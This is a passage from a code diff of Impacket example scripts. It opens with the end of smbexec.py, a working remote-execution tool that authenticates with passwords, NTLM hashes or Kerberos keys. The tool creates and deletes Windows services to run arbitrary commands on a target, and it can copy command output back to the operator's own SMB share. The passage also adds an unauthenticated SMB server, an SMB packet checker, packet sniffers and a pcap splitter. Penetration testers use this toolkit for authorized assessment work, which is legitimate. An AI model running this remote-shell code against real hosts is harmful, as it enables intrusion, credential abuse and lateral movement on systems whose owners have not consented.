rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.shell = None
try:
if self.__mode == 'SERVER':
serverThread = SMBServer()
serverThread.daemon = True
serverThread.start()
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName)
self.shell.cmdloop()
if self.__mode == 'SERVER':
serverThread.stop()
except (Exception, KeyboardInterrupt), e:
#import traceback
#traceback.print_exc()
logging.critical(str(e))
if self.shell is not None:
self.shell.finish()
sys.stdout.flush()
sys.exit(1)
class RemoteShell(cmd.Cmd):
def __init__(self, share, rpc, mode, serviceName):
cmd.Cmd.__init__(self)
self.__share = share
self.__mode = mode
self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
self.__outputBuffer = ''
self.__command = ''
self.__shell = '%COMSPEC% /Q /c '
self.__serviceName = serviceName
self.__rpc = rpc
self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
self.__scmr = rpc.get_dce_rpc()
try:
self.__scmr.connect()
except Exception, e:
logging.critical(str(e))
sys.exit(1)
s = rpc.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
if mode == 'SERVER':
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
self.transferClient = rpc.get_smb_connection()
self.do_cd('')
def finish(self):
# Just in case the service is still created
try:
self.__scmr = self.__rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
except:
pass
def do_shell(self, s):
os.system(s)
def do_exit(self, s):
return True
def emptyline(self):
return False
def do_cd(self, s):
# We just can't CD or mantain track of the target dir.
if len(s) > 0:
logging.error("You can't CD under SMBEXEC. Use full paths.")
self.execute_remote('cd ' )
if len(self.__outputBuffer) > 0:
# Stripping CR/LF
self.prompt = string.replace(self.__outputBuffer,'\r\n','') + '>'
self.__outputBuffer = ''
def do_CD(self, s):
return self.do_cd(s)
def default(self, line):
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
self.__outputBuffer += data
if self.__mode == 'SHARE':
self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback)
self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME)
else:
fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
output_callback(fd.read())
fd.close()
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
def execute_remote(self, data):
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \
self.__shell + self.__batchFile
if self.__mode == 'SERVER':
command += ' & ' + self.__copyBack
command += ' & ' + 'del ' + self.__batchFile
logging.debug('Executing %s' % command)
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
print self.__outputBuffer
self.__outputBuffer = ''
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser()
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-share', action='store', default = 'C$', help='share where the output will be grabbed from '
'(default C$)')
parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE',
help='mode to use (default SHARE, SERVER needs root!)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. '
'If ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If '
'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '
'name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
#In case the password contains '@'
if '@' in remoteName:
password = password + '@' + remoteName.rpartition('@')[0]
remoteName = remoteName.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.target_ip is None:
options.target_ip = remoteName
if options.aesKey is not None:
options.k = True
try:
executer = CMDEXEC(username, password, domain, options.hashes, options.aesKey, options.k,
options.dc_ip, options.mode, options.share, int(options.port))
executer.run(remoteName, options.target_ip)
except Exception, e:
logging.critical(str(e))
sys.exit(0)

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,75 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Simple SMB Server example.
#
# Author:
# Alberto Solino (@agsolino)
#
import sys
import argparse
import logging
from impacket.examples import logger
from impacket import smbserver, version
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a "
"share specified as an argument. You need to be root in order to bind to port 445. "
"No authentication will be enforced. Example: smbserver.py -comment 'My share' TMP "
"/tmp")
parser.add_argument('shareName', action='store', help='name of the share to add')
parser.add_argument('sharePath', action='store', help='path of the share to add')
parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
try:
options = parser.parse_args()
except Exception, e:
logging.critical(str(e))
sys.exit(1)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
if options.comment is None:
comment = ''
else:
comment = options.comment
server = smbserver.SimpleSMBServer()
server.addShare(options.shareName.upper(), options.sharePath, comment)
server.setSMB2Support(options.smb2support)
# Here you can set a custom SMB challenge in hex format
# If empty defaults to '4141414141414141'
# (remember: must be 16 hex bytes long)
# e.g. server.setSMBChallenge('12345678abcdef00')
server.setSMBChallenge('')
# If you don't want log to stdout, comment the following line
# If you want log dumped to a file, enter the filename
server.setLogFile('')
# Rock and roll
server.start()

View File

@@ -0,0 +1,466 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Parses a pcap file or sniffes traffic from the net and checks the SMB structs for errors.
# Log the error packets in outFile
#
# Author:
# Alberto Solino <bethus@gmail.com>
#
# ToDo:
# [ ] Add more SMB Commands
# [ ] Do the same for DCERPC
import struct
from select import select
import socket
import argparse
from impacket import pcapfile, smb, nmb, ntlm, version
from impacket import ImpactPacket, ImpactDecoder, structure
# Command handler
def smbTransaction2( packet, packetNum, SMBCommand, questions, replies):
# Test return code is always 0, otherwise leave before doing anything
if packet['ErrorCode'] != 0:
return False
print "SMB_COM_TRANSACTION2 ",
try:
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
# Query
trans2Parameters= smb.SMBTransaction2_Parameters(SMBCommand['Parameters'])
# Do the stuff
if trans2Parameters['ParameterCount'] != trans2Parameters['TotalParameterCount']:
# TODO: Handle partial parameters
#print "Unsupported partial parameters in TRANSACT2!"
raise Exception("Unsupported partial parameters in TRANSACT2!")
else:
trans2Data = smb.SMBTransaction2_Data()
# Standard says servers shouldn't trust Parameters and Data comes
# in order, so we have to parse the offsets, ugly
paramCount = trans2Parameters['ParameterCount']
trans2Data['Trans_ParametersLength'] = paramCount
dataCount = trans2Parameters['DataCount']
trans2Data['Trans_DataLength'] = dataCount
if trans2Parameters['ParameterOffset'] > 0:
paramOffset = trans2Parameters['ParameterOffset'] - 63 - trans2Parameters['SetupLength']
trans2Data['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset+paramCount]
else:
trans2Data['Trans_Parameters'] = ''
if trans2Parameters['DataOffset'] > 0:
dataOffset = trans2Parameters['DataOffset'] - 63 - trans2Parameters['SetupLength']
trans2Data['Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount]
else:
# Response
# ToDo not implemented yet
a = 1
except Exception, e:
print "ERROR: %s" % e
print "Command: 0x%x" % packet['Command']
print "Packet: %d %r" % (packetNum, packet.getData())
return True
else:
print 'OK!'
return False
def smbComOpenAndX( packet, packetNum, SMBCommand, questions, replies):
# Test return code is always 0, otherwise leave before doing anything
if packet['ErrorCode'] != 0:
return True
print "SMB_COM_OPEN_ANDX ",
try:
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
# Query
openAndXParameters = smb.SMBOpenAndX_Parameters(SMBCommand['Parameters'])
openAndXData = smb.SMBOpenAndX_Data(SMBCommand['Data'])
else:
# Response
openFileResponse = SMBCommand
openFileParameters = smb.SMBOpenAndXResponse_Parameters(openFileResponse['Parameters'])
except Exception, e:
print "ERROR: %s" % e
print "Command: 0x%x" % packet['Command']
print "Packet: %d %r" % (packetNum, packet.getData())
return True
else:
print 'OK!'
return False
def smbComWriteAndX( packet, packetNum, SMBCommand, questions, replies):
# Test return code is always 0, otherwise leave before doing anything
if packet['ErrorCode'] != 0:
return False
print "SMB_COM_WRITE_ANDX ",
try:
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
# Query
if SMBCommand['WordCount'] == 0x0C:
writeAndX = smb.SMBWriteAndX_Parameters2(SMBCommand['Parameters'])
else:
writeAndX = smb.SMBWriteAndX_Parameters(SMBCommand['Parameters'])
writeAndXData = smb.SMBWriteAndX_Data()
writeAndXData['DataLength'] = writeAndX['DataLength']
if writeAndX['DataLength'] > 0:
writeAndXData.fromString(SMBCommand['Data'])
else:
# Response
writeResponse = SMBCommand
writeResponseParameters = smb.SMBWriteAndXResponse_Parameters(writeResponse['Parameters'])
except Exception, e:
print "ERROR: %s" % e
print "Command: 0x%x" % packet['Command']
print "Packet: %d %r" % (packetNum, packet.getData())
return True
else:
print 'OK!'
return False
def smbComNtCreateAndX( packet, packetNum, SMBCommand, questions, replies):
# Test return code is always 0, otherwise leave before doing anything
if packet['ErrorCode'] != 0:
return False
print "SMB_COM_NT_CREATE_ANDX ",
try:
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
# Query
ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
ntCreateAndXData = smb.SMBNtCreateAndX_Data(SMBCommand['Data'])
else:
# Response
ntCreateResponse = SMBCommand
ntCreateParameters = smb.SMBNtCreateAndXResponse_Parameters(ntCreateResponse['Parameters'])
except Exception, e:
print "ERROR: %s" % e
print "Command: 0x%x" % packet['Command']
print "Packet: %d %r" % (packetNum, packet.getData())
return True
else:
print 'OK!'
return False
def smbComTreeConnectAndX( packet, packetNum, SMBCommand, questions, replies):
# Test return code is always 0, otherwise leave before doing anything
if packet['ErrorCode'] != 0:
return False
print "SMB_COM_TREE_CONNECT_ANDX ",
try:
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
# Query
treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
treeConnectAndXData = smb.SMBTreeConnectAndX_Data()
treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
treeConnectAndXData.fromString(SMBCommand['Data'])
else:
# Response
treeConnectAndXParameters = smb.SMBTreeConnectAndXResponse_Parameters(SMBCommand['Parameters'])
#treeConnectAndXData = smb.SMBTreeConnectAndXResponse_Data(SMBCommand['Data'])
except Exception, e:
print "ERROR: %s" % e
print "Command: 0x%x" % packet['Command']
print "Packet: %d %r" % (packetNum, packet.getData())
return True
else:
print 'OK!'
return False
def smbComSessionSetupAndX( packet, packetNum, SMBCommand, questions, replies):
# Test return code is always 0, otherwise leave before doing anything
if packet['ErrorCode'] != 0:
if packet['ErrorClass'] != 0x16:
return False
print "SMB_COM_SESSION_SETUP_ANDX ",
try:
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
# Query
if SMBCommand['WordCount'] == 12:
# Extended Security
sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
sessionSetupData.fromString(SMBCommand['Data'])
if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != smb.ASN1_AID:
# If there no GSSAPI ID, it must be an AUTH packet
blob = smb.SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
token = blob['ResponseToken']
else:
# NEGOTIATE packet
blob = smb.SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
token = blob['MechToken']
messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
if messageType == 0x01:
# NEGOTIATE_MESSAGE
negotiateMessage = ntlm.NTLMAuthNegotiate()
negotiateMessage.fromString(token)
elif messageType == 0x03:
# AUTHENTICATE_MESSAGE, here we deal with authentication
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
else:
# Standard Security
sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Data()
sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
sessionSetupData.fromString(SMBCommand['Data'])
else:
# Response
if SMBCommand['WordCount'] == 4:
# Extended Security
sessionResponse = SMBCommand
sessionParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
sessionData = smb.SMBSessionSetupAndX_Extended_Response_Data(flags = packet['Flags2'])
sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
sessionData.fromString(sessionResponse['Data'])
respToken = smb.SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
if respToken.fields.has_key('ResponseToken'):
# Let's parse some data and keep it to ourselves in case it is asked
ntlmChallenge = ntlm.NTLMAuthChallenge(respToken['ResponseToken'])
if ntlmChallenge['TargetInfoFields_len'] > 0:
infoFields = ntlmChallenge['TargetInfoFields']
av_pairs = ntlm.AV_PAIRS(ntlmChallenge['TargetInfoFields'][:ntlmChallenge['TargetInfoFields_len']])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
__server_name = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None:
__server_domain = av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le')
else:
# Standard Security
sessionResponse = SMBCommand
sessionParameters = smb.SMBSessionSetupAndXResponse_Parameters(sessionResponse['Parameters'])
sessionData = smb.SMBSessionSetupAndXResponse_Data(flags = packet['Flags2'], data = sessionResponse['Data'])
except Exception, e:
print "ERROR: %s" % e
print "Command: 0x%x" % packet['Command']
print "Packet: %d %r" % (packetNum, packet.getData())
return True
else:
print 'OK!'
return False
def smbComNegotiate( packet, packetNum, command, questions, replies):
sessionResponse = command
if packet['Flags1'] & smb.SMB.FLAGS1_REPLY:
print "SMB_COM_NEGOTIATE ",
try:
_dialects_parameters = smb.SMBNTLMDialect_Parameters(sessionResponse['Parameters'])
_dialects_data = smb.SMBNTLMDialect_Data()
_dialects_data['ChallengeLength'] = _dialects_parameters['ChallengeLength']
_dialects_data.fromString(sessionResponse['Data'])
if _dialects_parameters['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
_dialects_parameters = smb.SMBExtended_Security_Parameters(sessionResponse['Parameters'])
_dialects_data = smb.SMBExtended_Security_Data(sessionResponse['Data'])
except Exception, e:
print "ERROR: %s" % e
print "Command: 0x%x" % packet['Command']
print "Packet: %d %r" % (packetNum, packet.getData())
return True
else:
print 'OK!'
return False
# Format
# { SMBCOMMAND: ((questionStruts),(replyStructus), handler) }
HANDLER = 2
REPLIES = 1
QUESTIONS = 0
smbCommands = {
# smb.SMB.SMB_COM_CREATE_DIRECTORY: (,
# smb.SMB.SMB_COM_DELETE_DIRECTORY: self.smbComDeleteDirectory,
# smb.SMB.SMB_COM_RENAME: self.smbComRename,
# smb.SMB.SMB_COM_DELETE: self.smbComDelete,
smb.SMB.SMB_COM_NEGOTIATE: ( None,None,smbComNegotiate),
smb.SMB.SMB_COM_SESSION_SETUP_ANDX: ( None,None,smbComSessionSetupAndX),
# smb.SMB.SMB_COM_LOGOFF_ANDX: self.smbComLogOffAndX,
smb.SMB.SMB_COM_TREE_CONNECT_ANDX: ( None,None,smbComTreeConnectAndX),
# smb.SMB.SMB_COM_TREE_DISCONNECT: self.smbComTreeDisconnect,
# smb.SMB.SMB_COM_ECHO: self.get_th_sportsmbComEcho,
# smb.SMB.SMB_COM_QUERY_INFORMATION: self.smbQueryInformation,
smb.SMB.SMB_COM_TRANSACTION2: ( None, None, smbTransaction2),
# smb.SMB.SMB_COM_TRANSACTION: self.smbTransaction,
# smb.SMB.SMB_COM_NT_TRANSACT: self.smbNTTransact,
# smb.SMB.SMB_COM_QUERY_INFORMATION_DISK: sler.smbQueryInformationDisk,
smb.SMB.SMB_COM_OPEN_ANDX: (None, None, smbComOpenAndX),
# smb.SMB.SMB_COM_QUERY_INFORMATION2: self.smbComQueryInformation2,
# smb.SMB.SMB_COM_READ_ANDX: self.smbComReadAndX,
# smb.SMB.SMB_COM_READ: self.smbComRead,
smb.SMB.SMB_COM_WRITE_ANDX: (None, None, smbComWriteAndX),
# smb.SMB.SMB_COM_WRITE: self.smbComWrite,
# smb.SMB.SMB_COM_CLOSE: self.smbComClose,
# smb.SMB.SMB_COM_LOCKING_ANDX: self.smbComLockingAndX,
smb.SMB.SMB_COM_NT_CREATE_ANDX: (None, None, smbComNtCreateAndX),
# 0xFF: self.default
}
# Returns True is the packet needs to be logged
def process(data, packetNum):
packet = smb.NewSMBPacket()
if data.get_packet()[0] == '\x00':
if data.get_packet()[4:8] == '\xffSMB':
try:
packet.fromString(data.get_packet()[4:])
except Exception, e:
print "ERROR: %s" % e
print "Command: SMBPacket"
print "Packet: %d %r" % (packetNum, data.get_packet())
return True
else:
return False
else:
return False
try:
SMBCommand = smb.SMBCommand(packet['Data'][0])
except Exception, e:
print "ERROR: %s" % e
print "Command: SMBCommand"
print "Packet: %d %r" % (packetNum, data.get_packet())
return True
if smbCommands.has_key(packet['Command']):
return smbCommands[packet['Command']][HANDLER](packet, packetNum, SMBCommand, smbCommands[packet['Command']][QUESTIONS], smbCommands[packet['Command']][REPLIES])
#else:
# print "Command 0x%x not handled" % packet['Command']
def main():
import sys
DEFAULT_PROTOCOLS = ('tcp',)
sockets = []
print version.BANNER
parser = argparse.ArgumentParser()
parser.add_argument("-i", metavar = 'FILE', help = 'pcap file to read packets. If not specified the program sniffes traffic (only as root)')
parser.add_argument("-o", metavar = 'FILE', help = 'pcap output file where the packets with errors will be written')
options = parser.parse_args()
outFile = options.o
if options.i is None:
sniffTraffic = True
toListen = DEFAULT_PROTOCOLS
else:
sniffTraffic = False
inFile = options.i
packetNum = 0
if outFile:
f_out = open(outFile,'wb')
f_out.write(str(pcapfile.PCapFileHeader()))
if sniffTraffic is False:
f_in = open(inFile,'rb')
hdr = pcapfile.PCapFileHeader()
hdr.fromString(f_in.read(len(hdr)))
decoder = ImpactDecoder.EthDecoder()
else:
for protocol in toListen:
try:
protocol_num = socket.getprotobyname(protocol)
except socket.error:
print "Ignoring unknown protocol:", protocol
toListen.remove(protocol)
continue
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
sockets.append(s)
print "Listening on protocols:", toListen
decoder = ImpactDecoder.IPDecoder()
while 1:
if sniffTraffic is False:
pkt = pcapfile.PCapFilePacket()
try:
pkt.fromString(f_in.read(len(pkt)))
except:
break
pkt['data'] = f_in.read(pkt['savedLength'])
p = pkt['data']
else:
ready = select(sockets, [], [])[0]
for s in ready:
p = s.recvfrom(4096)[0]
if 0 == len(p):
# Socket remotely closed. Discard it.
sockets.remove(s)
s.close()
packet = decoder.decode(p)
packetNum += 1
if sniffTraffic is True:
instance = packet.child()
else:
instance = packet.child().child()
if isinstance(instance, ImpactPacket.TCP):
tcppacket = instance
if tcppacket.get_th_sport() == 445 or tcppacket.get_th_dport() == 445 or tcppacket.get_th_sport() == 139 or tcppacket.get_th_dport() == 139:
data = tcppacket.child()
if data.get_size() > 0:
logPacket = process(data, packetNum)
if logPacket is True:
pkt_out = pcapfile.PCapFilePacket()
if sniffTraffic is True:
eth = ImpactPacket.Ethernet()
eth.contains(packet)
eth.set_ether_type(0x800)
pkt_out['data'] = eth.get_packet()
else:
pkt_out['data'] = str(p)
if outFile:
f_out.write(str(pkt_out))
if __name__ == '__main__':
main()

View File

@@ -0,0 +1,104 @@
#!/usr/bin/env python
# Copyright (c) 2003 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Simple packet sniffer.
#
# This packet sniffer uses the pcap library to listen for packets in
# transit over the specified interface. The returned packages can be
# filtered according to a BPF filter (see tcpdump(3) for further
# information on BPF filters).
#
# Note that the user might need special permissions to be able to use pcap.
#
# Authors:
# Maximiliano Caceres <max@coresecurity.com>
# Javier Kohen <jkohen@coresecurity.com>
#
# Reference for:
# pcapy: findalldevs, open_live.
# ImpactDecoder.
import sys
from threading import Thread
import pcapy
from pcapy import findalldevs, open_live
from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder
class DecoderThread(Thread):
def __init__(self, pcapObj):
# Query the type of the link and instantiate a decoder accordingly.
datalink = pcapObj.datalink()
if pcapy.DLT_EN10MB == datalink:
self.decoder = EthDecoder()
elif pcapy.DLT_LINUX_SLL == datalink:
self.decoder = LinuxSLLDecoder()
else:
raise Exception("Datalink type not supported: " % datalink)
self.pcap = pcapObj
Thread.__init__(self)
def run(self):
# Sniff ad infinitum.
# PacketHandler shall be invoked by pcap for every packet.
self.pcap.loop(0, self.packetHandler)
def packetHandler(self, hdr, data):
# Use the ImpactDecoder to turn the rawpacket into a hierarchy
# of ImpactPacket instances.
# Display the packet in human-readable form.
print self.decoder.decode(data)
def getInterface():
# Grab a list of interfaces that pcap is able to listen on.
# The current user will be able to listen from all returned interfaces,
# using open_live to open them.
ifs = findalldevs()
# No interfaces available, abort.
if 0 == len(ifs):
print "You don't have enough permissions to open any interface on this system."
sys.exit(1)
# Only one interface available, use it.
elif 1 == len(ifs):
print 'Only one interface present, defaulting to it.'
return ifs[0]
# Ask the user to choose an interface from the list.
count = 0
for iface in ifs:
print '%i - %s' % (count, iface)
count += 1
idx = int(raw_input('Please select an interface: '))
return ifs[idx]
def main(filter):
dev = getInterface()
# Open interface for catpuring.
p = open_live(dev, 1500, 0, 100)
# Set the BPF filter. See tcpdump(3).
p.setfilter(filter)
print "Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink())
# Start sniffing thread and finish main thread.
DecoderThread(p).start()
# Process command-line arguments. Take everything as a BPF filter to pass
# onto pcap. Default to the empty filter (match all).
filter = ''
if len(sys.argv) > 1:
filter = ' '.join(sys.argv[1:])
main(filter)

View File

@@ -0,0 +1,74 @@
#!/usr/bin/env python
# Copyright (c) 2003 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Simple packet sniffer.
#
# This packet sniffer uses a raw socket to listen for packets
# in transit corresponding to the specified protocols.
#
# Note that the user might need special permissions to be able to use
# raw sockets.
#
# Authors:
# Gerardo Richarte <gera@coresecurity.com>
# Javier Kohen <jkohen@coresecurity.com>
#
# Reference for:
# ImpactDecoder.
from select import select
import socket
import sys
from impacket import ImpactDecoder
DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp')
if len(sys.argv) == 1:
toListen = DEFAULT_PROTOCOLS
print "Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s <proto1> [proto2] ..." % sys.argv[0]
else:
toListen = sys.argv[1:]
# Open one socket for each specified protocol.
# A special option is set on the socket so that IP headers are included with
# the returned data.
sockets = []
for protocol in toListen:
try:
protocol_num = socket.getprotobyname(protocol)
except socket.error:
print "Ignoring unknown protocol:", protocol
toListen.remove(protocol)
continue
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
sockets.append(s)
if 0 == len(toListen):
print "There are no protocols available."
sys.exit(0)
print "Listening on protocols:", toListen
# Instantiate an IP packets decoder.
# As all the packets include their IP header, that decoder only is enough.
decoder = ImpactDecoder.IPDecoder()
while len(sockets) > 0:
# Wait for an incoming packet on any socket.
ready = select(sockets, [], [])[0]
for s in ready:
packet = s.recvfrom(4096)[0]
if 0 == len(packet):
# Socket remotely closed. Discard it.
sockets.remove(s)
s.close()
else:
# Packet received. Decode and display it.
packet = decoder.decode(packet)
print packet

View File

@@ -0,0 +1,140 @@
#!/usr/bin/env python
# Copyright (c) 2003 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Pcap dump splitter.
#
# This tools splits pcap capture files into smaller ones, one for each
# different TCP/IP connection found in the original.
#
# Authors:
# Alejandro D. Weil <aweil@coresecurity.com>
# Javier Kohen <jkohen@coresecurity.com>
#
# Reference for:
# pcapy: open_offline, pcapdumper.
# ImpactDecoder.
import sys
from exceptions import Exception
import pcapy
from pcapy import open_offline
from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder
class Connection:
"""This class can be used as a key in a dictionary to select a connection
given a pair of peers. Two connections are considered the same if both
peers are equal, despite the order in which they were passed to the
class constructor.
"""
def __init__(self, p1, p2):
"""This constructor takes two tuples, one for each peer. The first
element in each tuple is the IP address as a string, and the
second is the port as an integer.
"""
self.p1 = p1
self.p2 = p2
def getFilename(self):
"""Utility function that returns a filename composed by the IP
addresses and ports of both peers.
"""
return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1])
def __cmp__(self, other):
if ((self.p1 == other.p1 and self.p2 == other.p2)
or (self.p1 == other.p2 and self.p2 == other.p1)):
return 0
else:
return -1
def __hash__(self):
return (hash(self.p1[0]) ^ hash(self.p1[1])
^ hash(self.p2[0]) ^ hash(self.p2[1]))
class Decoder:
def __init__(self, pcapObj):
# Query the type of the link and instantiate a decoder accordingly.
datalink = pcapObj.datalink()
if pcapy.DLT_EN10MB == datalink:
self.decoder = EthDecoder()
elif pcapy.DLT_LINUX_SLL == datalink:
self.decoder = LinuxSLLDecoder()
else:
raise Exception("Datalink type not supported: " % datalink)
self.pcap = pcapObj
self.connections = {}
def start(self):
# Sniff ad infinitum.
# PacketHandler shall be invoked by pcap for every packet.
self.pcap.loop(0, self.packetHandler)
def packetHandler(self, hdr, data):
"""Handles an incoming pcap packet. This method only knows how
to recognize TCP/IP connections.
Be sure that only TCP packets are passed onto this handler (or
fix the code to ignore the others).
Setting r"ip proto \tcp" as part of the pcap filter expression
suffices, and there shouldn't be any problem combining that with
other expressions.
"""
# Use the ImpactDecoder to turn the rawpacket into a hierarchy
# of ImpactPacket instances.
p = self.decoder.decode(data)
ip = p.child()
tcp = ip.child()
# Build a distinctive key for this pair of peers.
src = (ip.get_ip_src(), tcp.get_th_sport() )
dst = (ip.get_ip_dst(), tcp.get_th_dport() )
con = Connection(src,dst)
# If there isn't an entry associated yetwith this connection,
# open a new pcapdumper and create an association.
if not self.connections.has_key(con):
fn = con.getFilename()
print "Found a new connection, storing into:", fn
try:
dumper = self.pcap.dump_open(fn)
except pcapy.PcapError, e:
print "Can't write packet to:", fn
return
self.connections[con] = dumper
# Write the packet to the corresponding file.
self.connections[con].dump(hdr, data)
def main(filename):
# Open file
p = open_offline(filename)
# At the moment the callback only accepts TCP/IP packets.
p.setfilter(r'ip proto \tcp')
print "Reading from %s: linktype=%d" % (filename, p.datalink())
